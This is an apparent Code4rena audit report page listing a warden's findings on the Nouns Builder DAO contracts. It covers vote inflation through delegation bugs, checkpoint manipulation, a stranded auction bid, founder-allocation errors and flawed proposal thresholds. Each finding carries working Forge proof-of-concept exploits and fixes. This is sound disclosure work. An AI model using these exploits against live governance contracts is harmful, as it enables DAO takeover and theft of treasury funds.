Platform: Code4rena
Start Date: 06/09/2022
Pot Size: $90,000 USDC
Total HM: 33
Participants: 168
Period: 9 days
Judge: GalloDaSballo
Total Solo HM: 10
Id: 157
League: ETH
Rank: 7/168
Findings: 10
Award: $3,160.53
🌟 Selected for report: 2
🚀 Solo Findings: 0
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L179-L190 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L179-L190
By taking advantage of 2 bugs a user can get themselves 2^192-1 votes. This amount of voting gives the user ability to pass or defeat any proposal. In the best case scenario, it bricks the DAO and makes it ineffective, locking in funds. In the worst case scenario it allows the user to pass a proposal to drain all the funds.
The 2 bugs are:
delegate
function the user's voting power is not decreased_afterTokenTransfer
the votes are moved from the NFT owners instead of from their delegatesThe steps needed to take advantage of this:
Forge test showing the issue:
// SPDX-License-Identifier: MIT pragma solidity 0.8.15; import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol"; import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol"; contract TokenTest is NounsBuilderTest, TokenTypesV1 { address user1 = address(0x1001); address delegate1 = address(0x2001); address delegate2 = address(0x2002); function setUp() public virtual override { super.setUp(); vm.label(user1, "user1"); vm.label(delegate1, "delegate1"); deployMock(); } function setMockFounderParams() internal virtual override { address[] memory wallets = new address[](1); uint256[] memory percents = new uint256[](1); uint256[] memory vestingEnds = new uint256[](1); wallets[0] = founder; percents[0] = 0; vestingEnds[0] = 4 weeks; setFounderParams(wallets, percents, vestingEnds); } function test_pown() public { // user1 gets one token vm.startPrank(address(auction)); token.mint(); token.transferFrom(address(auction), user1, 0); vm.stopPrank(); // user1 has 1 token & 1 vote assertEq(token.balanceOf(user1), 1); assertEq(token.getVotes(user1), 1); vm.prank(user1); token.delegate(delegate1); assertEq(token.getVotes(user1), 1); assertEq(token.getVotes(delegate1), 1); // user1 gets another token vm.startPrank(address(auction)); token.mint(); token.transferFrom(address(auction), user1, 1); vm.stopPrank(); assertEq(token.balanceOf(user1), 2); assertEq(token.getVotes(user1), 2); assertEq(token.getVotes(delegate1), 1); // user1 delegates to delegate2 vm.prank(user1); token.delegate(delegate2); // delegate1 has a gazilion votes assertEq(token.getVotes(user1), 2); assertEq(token.getVotes(delegate2), 2); assertEq(token.getVotes(delegate1), type(uint192).max); } }
Manual review
Fix bug 1 by changing:
address prevDelegate = delegation[_from];
to:
address prevDelegate = delegates(_from);
Fix bug 2 by changing:
_moveDelegateVotes(_from, _to, 1);
to:
_moveDelegateVotes(delegates(_from), delegates(_to), 1);
#0 - GalloDaSballo
2022-09-20T21:05:05Z
🌟 Selected for report: berndartmueller
Also found by: 0x52, 0xSky, Chom, PwnPatrol, bin2chen, cccz, davidbrai, elprofesor, izhuer, m9800, rvierdiiev
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L242-L256 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L93-L117
An attacker can increase their voting power by carefully manipulating the checkpoints and inserting multiple checkpoints with the same timestamp. It requires creating checkpoints with the same timestamp as the proposal creation timestamp, this is possible by monitoring the mempool.
Because of bugs in the delegate
function, this attack relies just on transfering tokens. With delegation this attack can be easily amplified.
The POC below will show how to increase the number of votes from 3 to 4, but can be chained in order to increase by more votes.
Below is a forge test showing the issue:
Only 3 tokens are minted, but there are a total of 4 votes available to vote with
// SPDX-License-Identifier: MIT pragma solidity 0.8.15; import "forge-std/Test.sol"; import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol"; import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol"; import { GovernorTypesV1 } from "../../src/governance/governor/types/GovernorTypesV1.sol"; contract TokenTest is NounsBuilderTest, GovernorTypesV1 { address user1 = address(0x1001); address user2 = address(0x1002); address user3 = address(0x1003); address user4 = address(0x1004); function setUp() public virtual override { super.setUp(); vm.label(user1, "user1"); vm.label(user2, "user2"); deployMock(); } function test_sameTimestampAttack() public { vm.startPrank(address(auction)); token.mint(); token.transferFrom(address(auction), user1, 0); token.mint(); token.transferFrom(address(auction), user2, 1); token.mint(); token.transferFrom(address(auction), user3, 2); vm.stopPrank(); vm.warp(block.timestamp + 1 hours); (address[] memory targets, uint256[] memory values, bytes[] memory calldatas) = mockProposal(); vm.prank(user3); bytes32 proposalId = governor.propose(targets, values, calldatas, "test"); Proposal memory proposal = governor.getProposal(proposalId); vm.prank(user1); token.transferFrom(user1, user2, 0); vm.prank(user3); token.transferFrom(user3, user2, 2); vm.prank(user2); token.transferFrom(user2, user3, 2); vm.warp(block.timestamp + 1 hours); vm.prank(user2); token.transferFrom(user2, user4, 1); assertEq(governor.getVotes(user2, proposal.timeCreated), 3); assertEq(governor.getVotes(user3, proposal.timeCreated), 1); } function mockProposal() internal view returns ( address[] memory targets, uint256[] memory values, bytes[] memory calldatas ) { targets = new address[](1); values = new uint256[](1); calldatas = new bytes[](1); targets[0] = address(auction); calldatas[0] = abi.encodeWithSignature("pause()"); } function setMockFounderParams() internal virtual override { address[] memory wallets = new address[](1); uint256[] memory percents = new uint256[](1); uint256[] memory vestingEnds = new uint256[](1); wallets[0] = founder; percents[0] = 0; vestingEnds[0] = 4 weeks; setFounderParams(wallets, percents, vestingEnds); } }
Manual review
_writeCheckpoint
should update an existing checkpoint if it has the same timestamp instead of creating a new entry
#0 - GalloDaSballo
2022-09-20T21:43:41Z
1642.0344 USDC - $1,642.03
After a token holder delegates to another address, the token holder still has the same number of votes, while the delegate also has this number votes. This means any token holder can double their effective voting power. This makes it much easier to pass the quorum requirement, and makes passing any proposal much "cheaper". This can be very dangerous if a malicious token gets enough tokens and would risk take over of the DAO. It also allows a token holder to easily defeat proposals by having double the votes.
The following forge test demonstrates the issue:
// SPDX-License-Identifier: MIT pragma solidity 0.8.15; import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol"; import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol"; contract TokenTest is NounsBuilderTest, TokenTypesV1 { address user1 = address(0x1001); address delegate1 = address(0x2001); address delegate2 = address(0x2002); function setUp() public virtual override { super.setUp(); vm.label(user1, "user1"); vm.label(delegate1, "delegate1"); deployMock(); } function setMockFounderParams() internal virtual override { address[] memory wallets = new address[](1); uint256[] memory percents = new uint256[](1); uint256[] memory vestingEnds = new uint256[](1); wallets[0] = founder; percents[0] = 0; vestingEnds[0] = 4 weeks; setFounderParams(wallets, percents, vestingEnds); } function test_doubleVotes() public { // user1 gets one token vm.startPrank(address(auction)); for (uint256 i; i < 5; i++) { token.mint(); token.transferFrom(address(auction), user1, i); } vm.stopPrank(); // user1 has 5 tokens & votes assertEq(token.balanceOf(user1), 5); assertEq(token.getVotes(user1), 5); // delegate to delegate1 vm.prank(user1); token.delegate(delegate1); // both user and delegate have 5 votes each assertEq(token.getVotes(delegate1), 5); assertEq(token.getVotes(user1), 5); } }
Manual review
Change line 181 in ERC721Votes.sol to:
address prevDelegate = delegates(_from);
and change the function delegates(address)
from external
to public
#0 - GalloDaSballo
2022-09-26T22:51:43Z
492.6103 USDC - $492.61
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/auction/Auction.sol#L248-L254
If founders have no founder rewards, then token id 0 will be the first in auction.
If the Auction contract is paused and unpaused while token id 0 is being auctioned, then a new auction will start for the next minted token.
This is due to the check if (auction.tokenId == 0) {
not checking that the auction is not live.
The current highest bid for token id 0 won't receive their ETH back, nor will they get the NFT, because the auction is never settled.
The following forge test provides a POC:
// SPDX-License-Identifier: MIT pragma solidity 0.8.15; import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol"; import "forge-std/Test.sol"; contract AuctionToken0NotSettledTest is NounsBuilderTest { address internal bidder1; function setUp() public virtual override { super.setUp(); bidder1 = vm.addr(0xB1); vm.deal(bidder1, 100 ether); deployMock(); } function setMockFounderParams() internal virtual override { address[] memory wallets = new address[](1); uint256[] memory percents = new uint256[](1); uint256[] memory vestingEnds = new uint256[](1); wallets[0] = founder; percents[0] = 0; vestingEnds[0] = 4 weeks; setFounderParams(wallets, percents, vestingEnds); } function testMe() public { vm.prank(founder); auction.unpause(); (uint256 tokenId, , , , , ) = auction.auction(); console.log("tokenId", tokenId); vm.prank(bidder1); auction.createBid{ value: 0.420 ether }(0); console.log("bid 0.42 eth"); vm.prank(address(treasury)); auction.pause(); console.log("auction paused"); vm.prank(address(treasury)); auction.unpause(); console.log("auction unpaused"); (tokenId, , , , , ) = auction.auction(); console.log("tokenId", tokenId); console.log("auction contract balance:", address(auction).balance); assertEq(token.ownerOf(0), address(auction)); } }
Manual review
Change line 248 to:
if (auction.tokenId == 0) && auction.startTime == 0) {
#0 - GalloDaSballo
2022-09-19T20:56:59Z
Because multiple conditions, I think Med will be more appropriate
#1 - GalloDaSballo
2022-09-25T18:42:09Z
Dup of #376
🌟 Selected for report: zzzitron
Also found by: 0xSmartContract, ChristianKuri, ElKu, Lambda, MiloTruck, davidbrai, elad, hansfriese, immeas, ladboy233, scaraven, volky
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L88 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L152-L157
A DAO can be deployed where the sum of founder rewards is 100% This causes the minting function in the Token to have an infinite loop and eventually revert.
Below is a forge test showing the issue:
The test fails after a while because it for being out of gas.
// SPDX-License-Identifier: MIT pragma solidity 0.8.15; import "forge-std/Test.sol"; import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol"; import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol"; contract TokenFounderTest is NounsBuilderTest, TokenTypesV1 { address f1 = address(0x1111); address f2 = address(0x2222); function setUp() public virtual override { super.setUp(); deployMock(); } function setMockFounderParams() internal virtual override { address[] memory wallets = new address[](2); uint256[] memory percents = new uint256[](2); uint256[] memory vestingEnds = new uint256[](2); wallets[0] = f1; percents[0] = 30; vestingEnds[0] = 52 weeks; wallets[1] = f2; percents[1] = 70; vestingEnds[1] = 52 weeks; setFounderParams(wallets, percents, vestingEnds); } function test_founderPct() public { vm.prank(address(auction)); token.mint(); } }
Manual review
Change line 88 in Token.sol from:
if ((totalOwnership += uint8(founderPct)) > 100) revert INVALID_FOUNDER_OWNERSHIP();
to:
if ((totalOwnership += uint8(founderPct)) >= 100) revert INVALID_FOUNDER_OWNERSHIP();
#0 - horsefacts
2022-09-15T21:13:11Z
#1 - GalloDaSballo
2022-09-20T19:47:36Z
🌟 Selected for report: MEP
Also found by: 0xSky, CertoraInc, MiloTruck, PwnPatrol, R2, Tointer, V_B, __141345__, antonttc, azephiar, cccz, d3e4, datapunk, davidbrai, easy_peasy, hansfriese, minhtrng, neumo, pcarranzav, peritoflores, scaraven, teawaterwire, tonisives, unforgiven, wagmi, zkhorse, zzzitron
5.6134 USDC - $5.61
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L110 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L118 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/Token.sol#L130-L136
Under certain conditions, founders may be minted less than the percent of tokens they are supposed to.
This is due to a couple of bugs which results in their allocation being written into an index > 99 of tokenRecipient
.
The first bug, on line 118 of Token.sol:
(baseTokenId += schedule) % 100;
The modulo operation is not applied to baseTokenId
.
The second bug, in the _getNextTokenId
function, allows returning indices above 99.
In the test below, the following steps are taken:
tokenRecipient
are allocated to the first 55 founders. Index 55 is allocated to the last founder, and then index 105 is allocated, which is outside the array.This results in the last founder having effectively 1% instead of 2% reward.
See the test below:
// SPDX-License-Identifier: MIT pragma solidity 0.8.15; import "forge-std/Test.sol"; import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol"; import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol"; contract TokenFounderOutOfArrayTest is NounsBuilderTest, TokenTypesV1 { function setUp() public virtual override { super.setUp(); deployMock(); } function setMockFounderParams() internal virtual override { address[] memory wallets = new address[](56); uint256[] memory percents = new uint256[](56); uint256[] memory vestingEnds = new uint256[](56); for (uint256 i; i < 55; i++) { wallets[i] = address(uint160(0x1000 + i)); percents[i] = 1; vestingEnds[i] = 52 weeks; } wallets[55] = address(0x9999); percents[55] = 2; vestingEnds[55] = 52 weeks; setFounderParams(wallets, percents, vestingEnds); } function test_founderPct() public { while (token.totalSupply() < 100) { vm.prank(address(auction)); token.mint(); } assertEq(token.totalSupply(), 100); assertEq(token.balanceOf(address(0x9999)), 1); // This founder should have 2 tokens after 100 mints } }
Manual review
Fix the 2 bugs:
Line 118 from:
(baseTokenId += schedule) % 100;
to:
baseTokenId = (baseTokenId + schedule) % 100;
Line 132 from:
while (tokenRecipient[_tokenId].wallet != address(0)) ++_tokenId;
to:
while (tokenRecipient[_tokenId].wallet != address(0)) _tokenId = (_tokenId + 1) % 100;
#0 - GalloDaSballo
2022-09-20T13:00:38Z
104.7173 USDC - $104.72
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L128 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L363
If the proposer of a proposal has votes in the same amount as the proposalThreshold, they can create a proposal. But in this case, anyone can also cancel this proposal.
When creating a proposal the requirement is "Ensure the caller's voting weight is greater than or equal to the threshold".
When cancelling a proposal the check is:
if getVotes(proposal.proposer, block.timestamp - 1) > proposal.proposalThreshold
then it the cancelling is not allowed. In effect, if the number of votes is lower than or equal to the proposalThreshold it can be cancelled.
In the extreme case where all the DAO members have no more than the proposalThreshold amount of votes, every proposal can be cancelled.
The forge test below demonstrates the issue:
// SPDX-License-Identifier: MIT pragma solidity 0.8.15; import "forge-std/console.sol"; import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol"; import { IManager } from "../../src/manager/IManager.sol"; import { IGovernor } from "../../src/governance/governor/IGovernor.sol"; import { GovernorTypesV1 } from "../../src/governance/governor/types/GovernorTypesV1.sol"; contract GovCancelWrongCheckTest is NounsBuilderTest, GovernorTypesV1 { uint256 internal constant AGAINST = 0; uint256 internal constant FOR = 1; uint256 internal constant ABSTAIN = 2; uint256 proposalThresholdBps = 100; address internal voter1 = address(0x1234); address internal randomUser = address(0x8888); function setUp() public virtual override { super.setUp(); deployMock(); } function testCanCancelProposalIfExactThreshold() public { // mint a few tokens for (uint256 i; i < 85; i++) { vm.prank(address(auction)); token.mint(); } assertEq(token.totalSupply(), 100); // transfer one token to voter1 vm.prank(address(auction)); token.transferFrom(address(auction), voter1, 5); assertEq(token.balanceOf(voter1), 1); // make sure voter has enough votes assertEq(governor.proposalThreshold(), 1); assertEq(token.getVotes(voter1), 1); vm.warp(block.timestamp + 1); // propose (address[] memory targets, uint256[] memory values, bytes[] memory calldatas) = mockProposal(); vm.prank(voter1); bytes32 proposalId = governor.propose(targets, values, calldatas, "test"); // Proposal created successfully assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Pending)); // Cancel proposal vm.prank(randomUser); governor.cancel(proposalId); assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Canceled)); } function setMockGovParams() internal virtual override { setGovParams(2 days, 1 seconds, 1 weeks, proposalThresholdBps, 1000); } function mockProposal() internal view returns ( address[] memory targets, uint256[] memory values, bytes[] memory calldatas ) { targets = new address[](1); values = new uint256[](1); calldatas = new bytes[](1); targets[0] = address(auction); calldatas[0] = abi.encodeWithSignature("pause()"); } }
Manual review
Change the check in cancel
to match the requirement in propose
;
change line 363 in Governor.sol to:
if (msg.sender != proposal.proposer && getVotes(proposal.proposer, block.timestamp - 1) >= proposal.proposalThreshold)
#0 - GalloDaSballo
2022-09-25T20:12:20Z
Because we know that a cancelled proposal cannot be repeated, and because the protocol is aiming at auctioning out NFTs that are unitary, rare, "small print" if you will, then 1 vote may be considered more heavily than in other situations. (e.g. 1 second is still just 1 second, but 1 token here could be 10s if not hundreds of thousands of dollars)
Not only that, due to the following check, the proposer must maintain the current balance above the threshold (instead of it being the balance at time of proposal)
For those reasons I think this is a medium severity finding
205.2074 USDC - $205.21
Assuming an existing bug in the _delegate
function is fixed (see my previous issue submission titled "Delegating votes leaves the token owner with votes while giving the delegate additional votes"):
if a user delegates to address(0) that vote gets lost.
Assuming the _delegate
function gets patched by changing:
address prevDelegate = delegation[_from];
to
address prevDelegate = delegates(_from);
The steps to be taken:
Below is a forge test showing the issue:
// SPDX-License-Identifier: MIT pragma solidity 0.8.15; import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol"; import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol"; contract TokenTest is NounsBuilderTest, TokenTypesV1 { address user1 = address(0x1001); address delegate1 = address(0x2001); address delegate2 = address(0x2002); function setUp() public virtual override { super.setUp(); vm.label(user1, "user1"); vm.label(delegate1, "delegate1"); deployMock(); } function setMockFounderParams() internal virtual override { address[] memory wallets = new address[](1); uint256[] memory percents = new uint256[](1); uint256[] memory vestingEnds = new uint256[](1); wallets[0] = founder; percents[0] = 0; vestingEnds[0] = 4 weeks; setFounderParams(wallets, percents, vestingEnds); } function test_pown2() public { // user1 gets one token vm.startPrank(address(auction)); token.mint(); token.transferFrom(address(auction), user1, 0); vm.stopPrank(); // user1 has 1 token & 1 vote assertEq(token.balanceOf(user1), 1); assertEq(token.getVotes(user1), 1); vm.prank(user1); token.delegate(address(0)); assertEq(token.getVotes(user1), 0); vm.prank(user1); token.delegate(address(0)); assertEq(token.getVotes(user1), type(uint192).max); } }
Manual review
Either:
#0 - GalloDaSballo
2022-09-25T21:08:06Z
The Warden has shown how, due to incorrect accounting, the delegation of voting power to the address(0) will permanently burn that voting power.
Because this is contingent on the owner performing the delegation, I believe Medium Severity to be more appropriate
🌟 Selected for report: azephiar
Also found by: R2, Solimander, __141345__, bin2chen, cccz, davidbrai, pauliax, rbserver
129.2807 USDC - $129.28
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L128 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L468
If proposal threshold is set to be reasonably low, e.g 1%, then until there are >= 100 tokens, the effective proposal threshold is zero. This allows any address, even without tokens, to create proposals. This allows for create a huge amount of proposal spam.
An attacker can use this to pass a malicious proposal assuming it would be too much effort for voters or the vetoers to cancel all the proposals.
Below is a forge test demonstrating the issue (testCanProposeWithoutTokens
):
// SPDX-License-Identifier: MIT pragma solidity 0.8.15; import "forge-std/console.sol"; import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol"; import { IManager } from "../../src/manager/IManager.sol"; import { IGovernor } from "../../src/governance/governor/IGovernor.sol"; import { GovernorTypesV1 } from "../../src/governance/governor/types/GovernorTypesV1.sol"; contract TreasuryNoGracePeriodTest is NounsBuilderTest, GovernorTypesV1 { uint256 internal constant AGAINST = 0; uint256 internal constant FOR = 1; uint256 internal constant ABSTAIN = 2; uint256 proposalThresholdBps = 100; address internal voter1 = address(0x1234); uint256 internal voter1PK; function setUp() public virtual override { super.setUp(); deployMock(); } function testCanProposeWithoutTokens() public { // mint a few tokens for (uint256 i; i < 50; i++) { vm.prank(address(auction)); token.mint(); } assertEq(token.totalSupply(), 59); (address[] memory targets, uint256[] memory values, bytes[] memory calldatas) = mockProposal(); vm.prank(voter1); bytes32 proposalId = governor.propose(targets, values, calldatas, "test"); assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Pending)); } function setMockGovParams() internal virtual override { setGovParams(2 days, 1 seconds, 1 weeks, proposalThresholdBps, 1000); } function mockProposal() internal view returns ( address[] memory targets, uint256[] memory values, bytes[] memory calldatas ) { targets = new address[](1); values = new uint256[](1); calldatas = new bytes[](1); targets[0] = address(auction); calldatas[0] = abi.encodeWithSignature("pause()"); } }
Manual review
Change the proposal threshold check in line 128 to only allow proposers with votes above the threshold:
if (getVotes(msg.sender, block.timestamp - 1) <= proposalThreshold()) revert BELOW_PROPOSAL_THRESHOLD();
#0 - kulkarohan
2022-09-26T20:38:50Z
This isn't an issue IMO, it's fine to create proposals without a token.
#1 - GalloDaSballo
2022-09-27T15:09:53Z
Dup of #436
🌟 Selected for report: Lambda
Also found by: 0x1337, 0x1f8b, 0x4non, 0x85102, 0xA5DF, 0xNazgul, 0xSmartContract, 0xbepresent, 0xc0ffEE, 8olidity, Aymen0909, B2, Bnke0x0, CRYP70, Captainkay, CertoraInc, Ch_301, Chom, ChristianKuri, CodingNameKiki, Deivitto, Diana, DimitarDimitrov, ElKu, EthLedger, Franfran, Funen, GimelSec, JansenC, Jeiwan, Jujic, Lead_Belly, MEP, MasterCookie, MiloTruck, Noah3o6, PPrieditis, PaludoX0, Picodes, PwnPatrol, R2, Randyyy, RaymondFam, Respx, ReyAdmirado, Rolezn, Samatak, Tointer, Tomo, V_B, Waze, _Adam, __141345__, a12jmx, ak1, asutorufos, azephiar, ballx, bharg4v, bin2chen, bobirichman, brgltd, bulej93, c3phas, cccz, ch0bu, cloudjunky, cryptonue, cryptostellar5, cryptphi, csanuragjain, d3e4, datapunk, davidbrai, delfin454000, dharma09, dic0de, dipp, djxploit, eierina, erictee, fatherOfBlocks, gogo, hansfriese, hyh, imare, indijanc, izhuer, jonatascm, ladboy233, leosathya, lucacez, lukris02, m9800, martin, minhtrng, ne0n, neumo, oyc_109, p_crypt0, pashov, pauliax, pcarranzav, pedr02b2, peritoflores, pfapostol, rbserver, ret2basic, robee, rvierdiiev, sach1r0, sahar, scaraven, sikorico, simon135, slowmoses, sorrynotsorry, tnevler, tonisives, volky, yixxas, zkhorse, zzzitron
60.7742 USDC - $60.77
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/treasury/Treasury.sol#L57 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/treasury/Treasury.sol#L151
The Treasury contract allows executing proposals past the grace period. If the governor contract is changed in a way that it doesn't check it in its own contract, that could result in proposals being executed at an arbitrary time in the future.
The function execute
in Treasury
only checks isReady
, which makes sure the current time is past the timelock delay. It does not validate that the grace period has not passed.
Current the Governor
contract checks it in the execute
function, but it would be safer if the Treasury
contract had that check internally, in case a different governor contract is used as the owner.
Manual review
Add a this line in Treasury.sol
line 152:
if (block.timestamp > timestamps[proposalId] + settings.gracePeriod) revert("Expired");
#0 - GalloDaSballo
2022-09-26T12:59:22Z
Dup of #510